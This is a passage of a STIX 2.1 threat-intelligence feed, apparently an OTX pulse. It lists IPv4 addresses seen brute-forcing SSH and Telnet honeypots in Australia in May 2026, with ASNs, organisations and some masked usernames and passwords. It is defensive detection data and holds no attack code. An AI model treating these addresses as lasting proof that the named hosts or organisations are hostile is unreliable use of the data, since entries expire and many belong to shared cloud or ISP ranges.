      "id": "indicator--8c4f239b-87c6-41ba-8bcc-0c4eeea303c8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '46.8.31.109']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T11:15:10.000Z",
      "valid_until": "2026-06-10T11:15:08.000Z"
    },
    {
      "created": "2026-05-09T12:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 24560. Organisation(s): Bharti Airtel Ltd., Telemedia Services.",
      "id": "indicator--8be8908d-5a25-4f8b-a81e-2ea9cf8188cd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T12:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '106.219.174.98']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T12:15:05.000Z",
      "valid_until": "2026-06-10T12:15:03.000Z"
    },
    {
      "created": "2026-05-09T12:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 36352. Organisation(s): HostPapa.",
      "id": "indicator--46036f4c-1d8d-4df3-8455-689669046b46",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T12:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '107.173.122.15']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T12:15:05.000Z",
      "valid_until": "2026-06-10T12:15:03.000Z"
    },
    {
      "created": "2026-05-09T12:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 25513. Organisation(s): PJSC Moscow city telephone network.",
      "id": "indicator--e3d2f6ae-38ed-4c98-a15f-75ddcfb2bffd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T12:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '109.252.80.99']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T12:15:05.000Z",
      "valid_until": "2026-06-10T12:15:03.000Z"
    },
    {
      "created": "2026-05-09T12:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--f431fae8-5c4d-425c-a0de-26b98dc74389",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T12:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '113.225.78.102']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T12:15:05.000Z",
      "valid_until": "2026-06-10T12:15:03.000Z"
    },
    {
      "created": "2026-05-09T12:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 55836. Organisation(s): Reliance Jio Infocomm Limited.",
      "id": "indicator--0e83de1c-70aa-43de-96ab-cdeadff91bc1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T12:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '152.59.62.250']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T12:15:05.000Z",
      "valid_until": "2026-06-10T12:15:03.000Z"
    },
    {
      "created": "2026-05-09T12:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 263349. Organisation(s): RapeedoISP LTDA.",
      "id": "indicator--931f1a0c-3cc4-478e-bd3a-abd5f1971d85",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T12:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '191.37.23.146']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T12:15:05.000Z",
      "valid_until": "2026-06-10T12:15:03.000Z"
    },
    {
      "created": "2026-05-09T12:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 144. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 53667. Organisation(s): FranTech Solutions. Usernames observed (masked): r**t, 3**********4, a***n, d***c, ***. Passwords observed (masked): !****^, 1*****3, 3***********4, 3**********4, A*****3.",
      "id": "indicator--bc7947fb-608e-4c9f-bfe7-2fac0d64ce86",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T12:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '198.98.55.71']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T12:15:05.000Z",
      "valid_until": "2026-06-10T12:15:03.000Z"
    },
    {
      "created": "2026-05-09T12:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 40. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 36352. Organisation(s): HostPapa.",
      "id": "indicator--aaaeb2ad-9777-498a-a62f-a2813cf6027d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T12:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '23.229.99.137']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T12:15:05.000Z",
      "valid_until": "2026-06-10T12:15:03.000Z"
    },
    {
      "created": "2026-05-09T12:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 271899. Organisation(s): GIGAPOP, C.A..",
      "id": "indicator--c0fe0d15-26b2-483b-8c18-47fdf08d47db",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T12:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '38.7.1.5']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T12:15:05.000Z",
      "valid_until": "2026-06-10T12:15:03.000Z"
    },
    {
      "created": "2026-05-09T12:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 98. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd.. Usernames observed (masked): r**t, b****p, c***s, d**************r, e*****c. Passwords observed (masked): 1****6, !******X, b****p, c***s, d*****************3.",
      "id": "indicator--504c51de-989b-447a-aeb4-1032fb81f4c7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T12:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '47.237.107.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T12:15:05.000Z",
      "valid_until": "2026-06-10T12:15:03.000Z"
    },
    {
      "created": "2026-05-09T12:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 36454. Organisation(s): WHG Hosting Services Ltd.",
      "id": "indicator--9f8d9f5d-5ec5-4285-8e47-9dabea35bba6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T12:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '65.181.112.131']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T12:15:05.000Z",
      "valid_until": "2026-06-10T12:15:03.000Z"
    },
    {
      "created": "2026-05-09T12:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: HU. ASN(s): 216472. Organisation(s): High Speed For Internet Services L.L.C.",
      "id": "indicator--1704b92a-0dde-4a44-aa6c-1fbcd9bab44a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T12:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '89.43.132.72']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T12:15:05.000Z",
      "valid_until": "2026-06-10T12:15:03.000Z"
    },
    {
      "created": "2026-05-09T13:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AU. ASN(s): 1221. Organisation(s): Telstra Limited.",
      "id": "indicator--1c2112ae-0446-409a-86b1-f7a8b661ce3d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T13:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '124.190.147.149']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T13:15:10.000Z",
      "valid_until": "2026-06-10T13:15:08.000Z"
    },
    {
      "created": "2026-05-09T13:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CA. ASN(s): 16276. Organisation(s): OVH SAS.",
      "id": "indicator--f1abcb60-d0e4-4226-9b22-2af0c5282a93",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T13:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '144.217.74.127']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T13:15:10.000Z",
      "valid_until": "2026-06-10T13:15:08.000Z"
    },
    {
      "created": "2026-05-09T13:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TH. ASN(s): 17552. Organisation(s): True Online.",
      "id": "indicator--5953d9b2-0738-4c1d-b1c7-6c3182e90fab",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T13:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '171.96.74.118']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T13:15:10.000Z",
      "valid_until": "2026-06-10T13:15:08.000Z"
    },
    {
      "created": "2026-05-09T13:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 42. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--3cdd51b1-f285-4923-8007-2eb0662e857b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T13:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '182.127.69.22']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T13:15:10.000Z",
      "valid_until": "2026-06-10T13:15:08.000Z"
    },
    {
      "created": "2026-05-09T13:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 14. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): r**t. Passwords observed (masked): 0******3, s********1.",
      "id": "indicator--eafad93f-9ae0-47aa-ad71-fcb9ef4d3185",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T13:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '20.168.111.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T13:15:10.000Z",
      "valid_until": "2026-06-10T13:15:08.000Z"
    },
    {
      "created": "2026-05-09T13:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 9. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: UA. ASN(s): 30860. Organisation(s): Virtual Systems LLC.",
      "id": "indicator--56d2f21b-be32-4f5f-97cd-d3c2e0bf4b9c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T13:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '31.42.184.158']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T13:15:10.000Z",
      "valid_until": "2026-06-10T13:15:08.000Z"
    },
    {
      "created": "2026-05-09T13:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AM. ASN(s): 49800. Organisation(s): GNC-Alfa CJSC.",
      "id": "indicator--a4bd4f40-b733-4ad6-963b-b09d397f4222",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T13:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '37.186.113.41']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T13:15:10.000Z",
      "valid_until": "2026-06-10T13:15:08.000Z"
    },
    {
      "created": "2026-05-09T13:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 209. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 151407. Organisation(s): Hytron Network Services Limited. Usernames observed (masked): a***n, u**r, b******a, r**t, 3**********4. Passwords observed (masked): 1****6, !******y, 1****n, 1****e, 2**4.",
      "id": "indicator--03ea3aaf-dd53-440e-b96c-34d1dfe3708a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T13:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.196.236.141']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T13:15:10.000Z",
      "valid_until": "2026-06-10T13:15:08.000Z"
    },
    {
      "created": "2026-05-09T13:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 17623. Organisation(s): China Unicom Shenzen network. Usernames observed (masked): r**t. Passwords observed (masked): -**************-.",
      "id": "indicator--a3569dd6-b595-4fa8-8986-e0ddbbd6af04",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T13:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '58.251.254.247']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T13:15:10.000Z",
      "valid_until": "2026-06-10T13:15:08.000Z"
    },
    {
      "created": "2026-05-09T13:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 141995. Organisation(s): Contabo Asia Private Limited.",
      "id": "indicator--049244b7-ad81-433d-838e-45ee8f60a0be",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T13:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '62.72.46.110']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T13:15:10.000Z",
      "valid_until": "2026-06-10T13:15:08.000Z"
    },
    {
      "created": "2026-05-09T13:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 213412. Organisation(s): ONYPHE SAS. Usernames observed (masked): b*********************************************************************************************************************************************************************************************************************************'. Passwords observed (masked): ***, b*************************************************************************************************************************************************************************************************\".",
      "id": "indicator--7653e659-0cf4-47b9-86c8-94e203720278",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T13:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.174']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T13:15:10.000Z",
      "valid_until": "2026-06-10T13:15:08.000Z"
    },
    {
      "created": "2026-05-09T13:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--5323a6fd-f1f4-43c9-a792-19fe3c7d1aad",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T13:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.64']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T13:15:10.000Z",
      "valid_until": "2026-06-10T13:15:08.000Z"
    },
    {
      "created": "2026-05-09T13:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--6e168316-2bed-49cb-8016-2ad5ecba3c81",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T13:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.65']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T13:15:10.000Z",
      "valid_until": "2026-06-10T13:15:08.000Z"
    },
    {
      "created": "2026-05-09T13:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--656a0887-e9be-426c-aefd-1fc05c3acf1c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T13:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.67']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T13:15:10.000Z",
      "valid_until": "2026-06-10T13:15:08.000Z"
    },
    {
      "created": "2026-05-09T14:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BD. ASN(s): 150001. Organisation(s): Sixty Four Networks Limited..",
      "id": "indicator--707a1037-14e0-4a7f-acb8-9163fe65336b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.151.60.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T14:15:10.000Z",
      "valid_until": "2026-06-10T14:15:08.000Z"
    },
    {
      "created": "2026-05-09T14:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ID. ASN(s): 24203. Organisation(s): PT XL Axiata.",
      "id": "indicator--a3afdb1b-dcde-4b53-b71d-dc2db2c85976",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '140.213.161.232']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T14:15:10.000Z",
      "valid_until": "2026-06-10T14:15:08.000Z"
    },
    {
      "created": "2026-05-09T14:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 28026. Organisation(s): Grape S.A..",
      "id": "indicator--20758ebc-f874-438c-90f2-c1fb7f06b5cc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '190.106.108.148']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T14:15:10.000Z",
      "valid_until": "2026-06-10T14:15:08.000Z"
    },
    {
      "created": "2026-05-09T14:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AE. ASN(s): 36680. Organisation(s): Netiface LLC. Usernames observed (masked): s*****t. Passwords observed (masked): s*****t.",
      "id": "indicator--e6a8b274-9c7d-4829-930d-1ef620959cc3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '31.57.216.33']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T14:15:10.000Z",
      "valid_until": "2026-06-10T14:15:08.000Z"
    },
    {
      "created": "2026-05-09T14:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 269079. Organisation(s): SUPERNETMAIS TELECOMUNICACOES LTDA.",
      "id": "indicator--e5e33a1c-b2eb-44b1-8f0f-2922880f4935",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.179.134.0']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T14:15:10.000Z",
      "valid_until": "2026-06-10T14:15:08.000Z"
    },
    {
      "created": "2026-05-09T14:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 212512. Organisation(s): Detai Prosperous Technologies Limited.",
      "id": "indicator--2505a098-300b-4d24-920a-048ca2c1439a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.82.78.104']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T14:15:10.000Z",
      "valid_until": "2026-06-10T14:15:08.000Z"
    },
    {
      "created": "2026-05-09T14:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 5650. Organisation(s): Frontier Communications of America, Inc..",
      "id": "indicator--d777b2bd-edf4-4a00-8d9b-3c9bd8a803ee",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '50.106.188.153']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T14:15:10.000Z",
      "valid_until": "2026-06-10T14:15:08.000Z"
    },
    {
      "created": "2026-05-09T14:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--865cad2e-843e-4616-a157-4b57815b688c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.194']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T14:15:10.000Z",
      "valid_until": "2026-06-10T14:15:08.000Z"
    },
    {
      "created": "2026-05-09T14:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 69. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--a102b775-f368-4dec-9c30-666fe0f7e21d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '69.55.59.188']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T14:15:10.000Z",
      "valid_until": "2026-06-10T14:15:08.000Z"
    },
    {
      "created": "2026-05-09T14:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: UZ. ASN(s): 43060. Organisation(s): IPLUS LLC.",
